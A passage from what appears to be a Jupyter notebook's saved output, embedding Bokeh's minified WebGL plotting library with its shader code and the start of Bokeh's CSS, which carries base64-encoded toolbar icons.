this.keys?this.keys.apply(this,arguments):Object.keys(this)}.call(this._samplers).length,g(t,this._samplers)&&(s=this._samplers[t][this._samplers[t].length-1]),this._samplers[t]=[e._target,e.handle,s],this._gl.uniform1i(a,s)),null},i.prototype.set_uniform=function(t,e,n){var a,s,i,r,o,l,_;if(!y(this._linked))throw(i=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",i;if(o=w.call(this.locations,t,-1),y(o<0))return g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active uniform\\\")),null;if(g(t,this._unset_variables)&&P.call(this._unset_variables,t),s=1,c.call(e,\\\"mat\\\")||(a=w.call({int:\\\"float\\\",bool:\\\"float\\\"},e,function(t){if(this.constructor!==String)return this.lstrip.apply(this,arguments);t=void 0===t?\\\" \\\\t\\\\r\\\\n\\\":t;for(var e=0;e<this.length;e++)if(t.indexOf(this[e])<0)return this.slice(e);return\\\"\\\"}.call(e,\\\"ib\\\")),s=Math.floor(n.length/this.ATYPEINFO[a][0])),y(1<s))for(l=0;l<s;l+=1)g(t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&g(_=t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&P.call(this._unset_variables,_);return r=this.UTYPEMAP[e],this.activate(),c.call(e,\\\"mat\\\")?this._gl[r](o,!1,n):this._gl[r](o,n),null},i.prototype.set_attribute=function(t,e,n,a,s){var i,r,o,l,_,h,c,f;if(a=void 0===a?0:a,s=void 0===s?0:s,!y(this._linked))throw(r=new Error(\\\"RuntimeError:Cannot set attribute when program has no code\\\")).name=\\\"RuntimeError\\\",r;return h=n instanceof d,_=w.call(this.locations,t,-1),y(_<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),y(h)&&y(0<s)||u.log(\\\"Variable \\\"+t+\\\" is not an active attribute\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),y(h)?(f=this.ATYPEINFO[e],c=f[0],l=f[1],o=\\\"vertexAttribPointer\\\",i=[c,l,this._gl.FALSE,a,s],this._attributes[t]=[n.handle,_,o,i]):(o=this.ATYPEMAP[e],this._attributes[t]=[0,_,o,n])),null},i.prototype._pre_draw=function(){var t,e,n,a,s,i,r,o,l,_,h,c;for(c in this.activate(),r=this._samplers)r.hasOwnProperty(c)&&(c=r[c],l=(i=c)[0],o=i[1],_=i[2],this._gl.activeTexture(x(this._gl.TEXTURE0,_)),this._gl.bindTexture(l,o));for(c in s=this._attributes)s.hasOwnProperty(c)&&(c=s[c],h=(a=c)[0],e=a[1],n=a[2],t=a[3],y(h)?(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,h),this._gl.enableVertexAttribArray(e)):(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,null),this._gl.disableVertexAttribArray(e)),this._gl[n].apply(this._gl,[].concat([e],t)));return y(this._validated)||(this._validated=!0,this._validate()),null},i.prototype._validate=function(){var t;if(this._unset_variables.length&&u.log(\\\"Program has unset variables: \\\"+this._unset_variables),this._gl.validateProgram(this.handle),!y(this._gl.getProgramParameter(this.handle,this._gl.VALIDATE_STATUS)))throw u.log(this._gl.getProgramInfoLog(this.handle)),(t=new Error(\\\"RuntimeError:Program validation error\\\")).name=\\\"RuntimeError\\\",t;return null},i.prototype.draw=function(t,e){var n,a,s,i,r;if(!y(this._linked))throw(a=new Error(\\\"RuntimeError:Cannot draw program if code has not been set\\\")).name=\\\"RuntimeError\\\",a;return l(this._gl,\\\"before draw\\\"),y(e instanceof o)?(this._pre_draw(),e.activate(),n=e._buffer_size/2,i=this._gl.UNSIGNED_SHORT,this._gl.drawElements(t,n,i,0),e.deactivate()):(s=(r=e)[0],n=r[1],y(n)&&(this._pre_draw(),this._gl.drawArrays(t,s,n))),l(this._gl,\\\"after draw\\\"),null},((a=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,a.prototype._class_name=\\\"Buffer\\\",a.prototype._target=null,a.prototype._usage=35048,a.prototype._create=function(){return this.handle=this._gl.createBuffer(),this._buffer_size=0,null},a.prototype.delete=function(){return this._gl.deleteBuffer(this.handle),null},a.prototype.activate=function(){return this._gl.bindBuffer(this._target,this.handle),null},a.prototype.deactivate=function(){return this._gl.bindBuffer(this._target,null),null},a.prototype.set_size=function(t){return v(t,this._buffer_size)||(this.activate(),this._gl.bufferData(this._target,t,this._usage),this._buffer_size=t),null},a.prototype.set_data=function(t,e){return this.activate(),this._gl.bufferSubData(this._target,t,e),null},(d=function(){_(this,arguments)}).prototype=Object.create(a.prototype),d.prototype._base_class=a.prototype,d.prototype._class_name=\\\"VertexBuffer\\\",d.prototype._target=34962,(o=function(){_(this,arguments)}).prototype=Object.create(a.prototype),o.prototype._base_class=a.prototype,o.prototype._class_name=\\\"IndexBuffer\\\",o.prototype._target=34963,((r=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,r.prototype._class_name=\\\"Texture2D\\\",r.prototype._target=3553,r.prototype._types={Int8Array:5120,Uint8Array:5121,Int16Array:5122,Uint16Array:5123,Int32Array:5124,Uint32Array:5125,Float32Array:5126},r.prototype._create=function(){return this.handle=this._gl.createTexture(),this._shape_format=null},r.prototype.delete=function(){return this._gl.deleteTexture(this.handle),null},r.prototype.activate=function(){return this._gl.bindTexture(this._target,this.handle),null},r.prototype.deactivate=function(){return this._gl.bindTexture(this._target,0),null},r.prototype._get_alignment=function(t){var e,n,a;for(\\\"object\\\"!=typeof(n=[4,8,2,1])||Array.isArray(n)||(n=Object.keys(n)),a=0;a<n.length;a+=1)if(e=n[a],v(t%e,0))return e;return null},r.prototype.set_wrapping=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_S,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_T,e),null},r.prototype.set_interpolation=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_MIN_FILTER,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_MAG_FILTER,e),null},r.prototype.set_size=function(t,e){var n,a,s;return n=(a=t)[0],s=a[1],v([n,s,e],this._shape_format)||(this._shape_format=[n,s,e],this.activate(),this._gl.texImage2D(this._target,0,e,s,n,0,e,this._gl.UNSIGNED_BYTE,null)),this.u_shape=[n,s],null},r.prototype.set_data=function(t,e,n){var a,s,i,r,o,l,_,h,c,f;if(v(e.length,2)&&(e=[e[0],e[1],1]),this.activate(),i=this._shape_format[2],o=(l=e)[0],h=l[1],l[2],f=(_=t)[0],c=_[1],null===(r=w.call(this._types,n.constructor.name,null)))throw(s=new Error(\\\"ValueError:Type \\\"+n.constructor.name+\\\" not allowed for texture\\\")).name=\\\"ValueError\\\",s;return a=this._get_alignment(m(e[e.length-2],e[e.length-1])),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,a),this._gl.texSubImage2D(this._target,0,c,f,h,o,i,r,n),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,4),null},((p=function(){_(this,arguments)}).prototype=Object.create(r.prototype))._base_class=r.prototype,p.prototype._class_name=\\\"Texture3DLike\\\",p.prototype.GLSL_SAMPLE_NEAREST=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float zindex = floor(texcoord.z * shape.z);\\\\n\\\\n            // Do a lookup in the 2D texture\\\\n            float u = (mod(zindex, ncols) + texcoord.x) / ncols;\\\\n            float v = (floor(zindex / ncols) + texcoord.y) / nrows;\\\\n\\\\n            return texture2D(tex, vec2(u,v));\\\\n        }\\\\n    \\\",p.prototype.GLSL_SAMPLE_LINEAR=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float z = texcoord.z * shape.z;\\\\n            float zindex1 = floor(z);\\\\n            float u1 = (mod(zindex1, ncols) + texcoord.x) / ncols;\\\\n            float v1 = (floor(zindex1 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            float zindex2 = zindex1 + 1.0;\\\\n            float u2 = (mod(zindex2, ncols) + texcoord.x) / ncols;\\\\n            float v2 = (floor(zindex2 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            vec4 s1 = texture2D(tex, vec2(u1, v1));\\\\n            vec4 s2 = texture2D(tex, vec2(u2, v2));\\\\n\\\\n            return s1 * (zindex2 - z) + s2 * (z - zindex1);\\\\n        }\\\\n    \\\",p.prototype._get_tile_info=function(t){var e,n,a,s;if(n=this._gl.getParameter(this._gl.MAX_TEXTURE_SIZE),s=Math.floor(n/t[1]),s=Math.min(s,t[0]),a=window.Math.ceil(t[0]/s),y(m(a,t[2])>n))throw(e=new Error(\\\"RuntimeError:Cannot fit 3D data with shape \\\"+t+\\\" onto simulated 2D texture.\\\")).name=\\\"RuntimeError\\\",e;return[s,a]},p.prototype.set_size=function(t,e){var n,a,s,i;return i=this._get_tile_info(t),a=i[0],n=i[1],s=[m(t[1],a),m(t[2],n)],p.prototype._base_class.set_size.call(this,s,e),this.u_shape=[t[0],t[1],t[2]],this.u_tiles=[n,a],null},p.prototype.set_data=function(s,t,e){var n,a,i,r,o,l,_,h,c,f,d,u,g;if(v(t.length,3)&&(t=[t[0],t[1],t[2],1]),!function(t){for(var e=0;e<t.length;e++)if(!y(t[e]))return!1;return!0}(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(v(t,0));return a}.apply(this)))throw(r=new Error(\\\"ValueError:Texture3DLike does not support nonzero offset (for now)\\\")).name=\\\"ValueError\\\",r;if(c=this._get_tile_info(t),l=c[0],o=c[1],h=[m(t[1],l),m(t[2],o),t[3]],v(o,1))p.prototype._base_class.set_data.call(this,[0,0],h,e);else for(n=e.constructor,g=new n(m(m(h[0],h[1]),h[2])),p.prototype._base_class.set_data.call(this,[0,0],h,g),u=0;u<t[0];u+=1)f=[Math.floor(u/o),u%o],_=f[0],a=f[1],i=Math.floor(e.length/t[0]),d=e.slice(m(u,i),m(u+1,i)),p.prototype._base_class.set_data.call(this,[m(_,t[1]),m(a,t[2])],t.slice(1),d);return null},e.exports={Buffer:a,GlooObject:s,IndexBuffer:o,Program:i,Texture2D:r,Texture3DLike:p,VertexBuffer:d,check_error:l,console:u}}})}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-gl.min.js.map\\n\",\n       \"      /* END bokeh-gl.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      Bokeh.set_log_level(\\\"info\\\");\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      \\n\",\n       \"    },\\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh.min.css */\\\\n.bk-root{font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif;font-size:10pt;position:relative;width:auto;height:auto}.bk-root .bk-shading{position:absolute;display:block;border:1px dashed green}.bk-root .bk-tile-attribution a{color:black}.bk-root .bk-tool-icon-box-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg0kduFrowAAAIdJREFUWMPtVtEKwCAI9KL//4e9DPZ3+wP3KgOjNZouFYI4C8q7s7DtB1lGIeMoRMRinCLXg/ML3EcFqpjjloOyZxRntxpwQ8HsgHYARKFAtSFrCg3TCdMFCE1BuuALEXJLjC4qENsFVXCESZw38/kWLOkC/K4PcOc/Hj03WkoDT3EaWW9egQul6CUbq90JTwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-box-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg82t254aQAAAkBJREFUWMPN11+E1FEUB/DPTFn2qaeIpcSwr5NlUyJiKWVXWUqvlUh/iE3RY9mUekkPPURtLKNRrFJEeuphGfUUaVliiX1aVjGs6aG7+XX9ZnZ+d2fTl2vmnHvPPfeee/79Sk+may2/UQq/q7Qu+bAJoxjHIKqB/wlfUMcMVqI9bLZ+DGIKwzlzQ2GcxCx2xwvKOUKlaHTiX8bHNspjDONHkOmJBW5jIof/FvPh/06MZOb6cRc7cGn1AKUE5cdzlM/gAr5F/O24H3xkFRfxAbVygvK+cIsspjGWo1zgjeFpxL+BvnLw7laBA4xjIFJwrgu52DoVjKdY4HBEX8dSF3JLYe1fe6UcYCii3xWQjdfuSTnAtoheKCC7GNED5Zx4L4qt61jbTLHA94geKSC7P7ZeShQ0Inoi1IJuEOeORooFXkV0FZNdZs5qvFfKAeqYy7nZ6yg//HG0MBfffh71lFrQDCW2EvEP4mt4okZUDftz9rmGZkotmMxJRtlisy+MTniAWrty3AlXw0hFM2TD89l+oNsoOJXjbIs4EpqNtTCLXbiZ0g+M4mFObj8U3vsNjoZCVcmk60ZwthpepLZkB/AsivWfOJZxtpUQHfWib7KWDwzjeegBZJSdKFiE2qJTFFTwElsi/unQ/awXrU4WGMD7nOJxBY/1EO2iYConq93CHT1GOwucjdqnRyFz+VcHmMNefMY9nNkA3SWUOoXhQviSWQ4huLIRFlirFixnQq/XaKXUgg2xQNGv4V7x/RcW+AXPB3h7H1PaiQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-zoom-in{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsUBmL8iQAAA2JJREFUWMO9l12IlFUYx3//MzPrLpSjkm5oN4FFIWVEl66IQlFYwtLOzozsjHdGRSCRF0sfBEXRVV0FQuQiLm5CZNBFgRRaRLVFhbJ2EdiN5gbK7toObTPn6eYdPTvNzPvOBz5Xh/ec5/n/n89zXtEHmZqeSXSuXBz/3zfdKvBWJHQrwZuRcP0El+QkbQXeBX6WZEgm6TtJk5lM5o4Lc+cV6qpf4Ga20Tm338zeATItVK9Ker6yvPzp4NDQ3+XieGsCU9MzTYumGbhz7m4ze9/MHgvBgItACrgfGAj2jgAvAYs3wlEujjc13kii8YyZrXXOfWhmo9GnFUlvOOemarVapVqtkslksmb2KjARqL62ecuWN9NxbRInzrldAXhV0uFSIfdew7G/gNLU9MwS8CwSmE3Oz88fcXG5blfpqVRq0Ix8VIAAX0XgrVL7HDCHGcCaWrV60LUBN8Dae58aQIxEqcA592I9M610JL0cpG/U9TIHJNKY3RV5z0R+7Nd4HZ0P1g/2RMBuegLAsRMnb4vT8d5vqKfMzOgtAlADrkmqGywmiMBTwfr3dC9j1Xv/r6Tvg/5/5ejxE6cO7M9faVbQZrYNOFSPmqQvVo9FKexvi5uWX58943aM7DwAfBDY+FbSCxP5sdkGx55GeguzrUEXPaSo2pFkAbiSZQCAzZJOmdkjwd6SpB/M7KykQTPbA2wDhoIzRzcNDx9MJwGNIXdJ0mEzmwbujL7dbma7gd03A7lKfnTOvf74nl0r6bonTUbujRSUCrm2d4L3/kvn3JPe+8+BDW2i9o+kT7z3kxP5sYsA6W47oE64TsR7P9tQL4vA2mh9WdIscKxUyJ0M7aR7acOGzikD65EQLEjaa2ZXzMwDFeB6qZBbbLTRE4EGeSaozNOZgYFf8qP7lmIvs354n0qlHpB0T7B9Ogl4IgJJrmjv/SiQjbrkD+BMUkfSbYATPdckrTOzkciWAXOlQu5cYgLdPEIapud9wMOR9zVJH3ViKx333mtHMJvNuoWFhZ3A+ojMcja77njXBEKwJJfTcqUyCIQ34Mf7nnh0paMnXacFuGoC1mr3AtuDfLzd8Zuyl+rfuGn4HLAD+Az4qZQf+61TAj0Noj8vX6oC35SL43u7teG6rf5+iXppwW7/JUL5D03qaFRvvUe+AAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-zoom-out{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsHgty9VwAAA0FJREFUWMO9l09oXFUUxn/fmXlpItppi22k7UJBRSlVkCytSAuKUloIdjKT0El3FXVXdVFKRVAQV7qQohsNwdA0UFvBhYtqUVyIVlRaogtFQVq7qSTVjA3z3nHzBq/jvPmTN/Ss7rv3nvN99/y794kByMzcfE/7picn/jenmwWeRUI3E7wdCRskuCSTdDfwBvCtJEdySV9KOhpF0e0/LF5SqKtBgbv7ZjObcvfXgShD9Zqk5+orKx8Oj4z8NT05kU1gZm6+bdK0Azezu9z9hLs/HoIBvwAF4H5gKFh7B3gBWFY3460kWve4+3oze9fdx9OpVUmvmNlMHMf1RqNBFEUldz8OHAxUX9q6bduryut+Sfvc/Wz62ZD0fK1afjND9y3gGSRwv1GMojstTxUUCoVhdyopEYDzKXjWwZ4FFnEHWBc3Goet00m7lZlZYQixKw0FZnakGZksHUnHgvCN5/KARBH37enpOVg58H13HV0Kxg/kIuD/ngSA2ZMLt3bTSZJkUzNk7k4+D0AM/CGpaXCyBw/sC8Y/qZd2GpZiuL9YLN4Sx/HpoP5/c/exQ1OVq+1yyt13SLoArEsJnMjlgfOffvK3u58Kprab2QezJxfG2iTzUzI70wRPG9jbmpmb95SNB9mpzp7/j2yVdNbdx4K565K+cvfPJQ27+x5gBzAS7Hlvy+jo4WIvoC3kWpcvS3rR3eeAO9K529x9N7C7zX6AC2b28hN7Hl1Vt44niVq13LUjmtlYkiQfA5s6eO+GpDNJkhw9NFX5ueNt2ARodyF1IHIN2JiOl4H16fiKpK+B2Vq1vBAqFAf4IJkGNiIhWJK0192vunsC1IE/a9XycquNXARa5OnApeeioaHvKuP7r3dTGsiLqFAo7JR0T7B8rhfwXARa2us4UEqr5Ffgs151i/08oTNKdIO770ptObBYq5Yv5ibQq/sl3Qc8lJ4+lnSqH1vFfp9koZRKJVtaWnqkWXqSVkqlDe+vmUDWpZMlK/X6MBDegKf3P/nYaj8ErN9fqZBYEsf3Ag8G8Xit33BaniTcvGX0IvAw8BHwTa1y4Md+CeRqRL9fudwAvpienNi7Vhu21uwflOT+L+i1X2TJP57iUvUFtHWsAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-help{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABltpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPHRpZmY6Q29tcHJlc3Npb24+NTwvdGlmZjpDb21wcmVzc2lvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzI8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyPC90aWZmOllSZXNvbHV0aW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpDb2xvclNwYWNlPjE8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMzIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDNDIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMTIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDMjIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6U2VxLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxNjoxMToyOCAxMToxMTo4MjwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+UGl4ZWxtYXRvciAzLjY8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cphjt2AAAAT7SURBVFgJxRdbaFxFdGb2bhui227BWrsVKYgf2kJUbP9EUPuzEB803WTXJjH61Q/7Ya1+CMYKEVTsh4J/EpvY7BoabUiNiA8s1p+4KIhpoUUEselHqyS76TbZ3HuP58ydc3d2u4+IkQxczpz3mZkzZ86VYpXjvenpjZsLhUcliE4AuUuASAgptmt1EFdwPiclzIIUUwubNn17OJlcXo1p2UpodHRiux9xB1Eug1+slbzhFxGOKc851tu7/0oznYYBDA8Pt0U2tL8KQryIq2tvZqQhD0QJHRz3yqWhgYGBpXpydQMwqz6NCnurleCSADkJEfgKfOePqL80R/wV1ZaQyr1LenKfkPCkEPKeaj0xg7vxVL3duCmA0Vyuw/fl52hgBxsBED+h4Cv9z3R/zbRm8MTJTx7HQN7GQB6w5C4L4SX7M5lfLBpurjXMyvNIShiyi0l1pL8n9b7EDGPR8fHxzSsQ6XDB3618/xqo6Pk25V5MpVJllgHM1BO58RdQ612kOYZ+GXdij70TYQB05mpj+1kU5G2fB+l3PZtOf8NGx6ambnMXb3yAxg8wjSEG6OKKR9oicBQD+ZvpH2Wzj0lQpxCPG9qMv1x6hHNCsSAlHM7ZOa682vlI9tRDbvHGbD3nZAPpDoD/3JIrLpAs26UFkC3EMUA99hpfGtEBfJjNJnS2Gwnadnvl+Xw+iuc3DAJuNyIaSCHpilVldyDjjUxj3WDZIAhxhHHyRcdNuA7AAfUaXzVKODpzFiZ4/uLvh5G+m2no+C/pyIf7MqlEJB7bpqR6nXkEUfbeawuLaZsW2ISfNQ2vtaktQlGFQyIVGT0o2+2EC4iQNGwjBIN9qdQ5Qg4mk4X4rW3vCClLtowE2FOFUxKDfNmiZci3ovKKRFPh4FK9q4Zbdr+lKKJiA13TcHR2dmLBgdmQ0GAS2MZaEowY+XbAk09IvgtYZGp16SyvFhaHcIUh645t8T9DBCcnz5zZ4hZLu3DzK2QlL1QQa0Y+pHiJKPSuOGj3PmZTheM5w2TwqBxnvBZOTk7G5gvXJ5Aelms8wnJURL+olSWcfEhf6gDoUXPMq6ZlqbzWU2pE+3hi4s6F68tfIj9cBMlikr7Z0/P0b/X0yIcUXsDCF1WhtL4OROHaXk+xlkbV0Cu732Nmhc4peaWSg73pA8dq5RkvO37ldUTfXCKZv2q45MkhvG87WQEzpCCUSvV1d9GONBy3lMvgKSwrZig8gjAietWY0QriylO2jIo4yVbOSb7KB/qmI9BPKjHpSSXYauRyn92Nq9/Kcrj13x3s3v8D481glQ/0raiNYgX9njPSBOImbrHZePl+tfFmc9sH+Xaoh8NjOKSVdDMhjjYzQLy+dFceH5+IJQf9VYXX4tROg4ZFU8m31M3mfPEqUoJqCGJfvWpo2xnNfdrhC28n06SCeSzNZxlvBINGRXCtKS7EY1uV6V7HWAm38y1cXaXsMcOCvr9ySPj+af7A1U2HJXHzVNvUXVLIGyPf+jV0pf8GHoN+TLAyPkidTCi2RpPApmnR0Bd1zGRaB/B8Oj2HSw7LLbVR1MmskW8RdEWVXSJf3JbpAMgRtc4IZoxTh9qotQjCasm46M0YX9pV1VmbpvRH5OwwgdRtSg2vKaAz/1dNKVtb17Y8DCL4HVufHxMOYl1/zTgIgiYvBnFKfaNp3YjTdPz3n9Na8//X7/k/O1tdwopcZlcAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-hover{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4oVHp0SwAAAQJJREFUWMPtlsENgzAMRb8RQ5VJItFDOgaZAMaAA0iZpN3KPZSoEEHSQBCViI/G8pfNt/KAFFcPshPdoAGgZkYVVYjQAFCyFLN8tlAbXRwAxp61nc9XCkGERpZCxRDvBl0zoxp7K98GAACxxH29srNNmPsK2l7zHoHHXZDr+/9vwDfB3kgeSB5IHkgeOH0DmesJjSXi6pUvkYt5u9teVy6aWREDM0D0BRvmGRV5N6DsQkMzI64FidtI5t3AOKWaFhuioY8dlYf9TO1PREUh/9HVeAqzIThHgWZ6MuNmC1jiL1mK4pAzlKUojEmNsxcmL0J60tazWjLZFpClPbd9BMJfL95145YajN5RHQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-crosshair{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADEUlEQVRYR81XXVIaQRCeHqug8CXmBNETaE4gniDwIgpVspxAbxC9ATkBkCpQ8gKeQDiB5AQxNyAvUlrldr7eHxyGXZi1rMJ5opbp7m++7un+htSGF204vsoMoNXrlzSpfWa1oxQfhAegCZGaEtPorHo8znIoJwCt6+td8uk7ApUQCIHTF4BNAWzImq8ap6cP68CsBdDp9i9ZqXM7ML79g/EnCWD+jgMKENKqWT+tXK0CkQqgNRjs0OxpQIqKhoMxaG6/6JeRnK7T6yO2UvVqhYSlLX+ryORfgKn9ORDFIy7ky41yGcwsr0QAQfDH5zucOswx819fs4egI9OFCcD8DjBF7VNbEX0JzdWEt3NHSSASAcCxBDqMgt/623kvyTgNgNjJIfTjk4D4FqaJR1715MjmYAmA5Bx3AwUXQL+t105KaTlcBSC26XRvhjEIoLiq1yqXpr8FAGG16/ug4IT27fxBWu7EiQuAiImJpEMKE6nYM30uAIDDttSUOPfJP7JzbjPhAiBIh9QE67vIvoOi9WJfCwDavf40ulpjbCqmUf+W753ezURuh7Dg1SqflwAEHU6pgfyBq9Y4qx0LG++2fnZ/eUzcstmdM2AWH+jfc+liWdBJfSENf8Lifi3GVwC9mybOfi5dzatWVrbbLIHNva8p5h/16gkaFiLGGxbufkoE6XguwePiXLF3X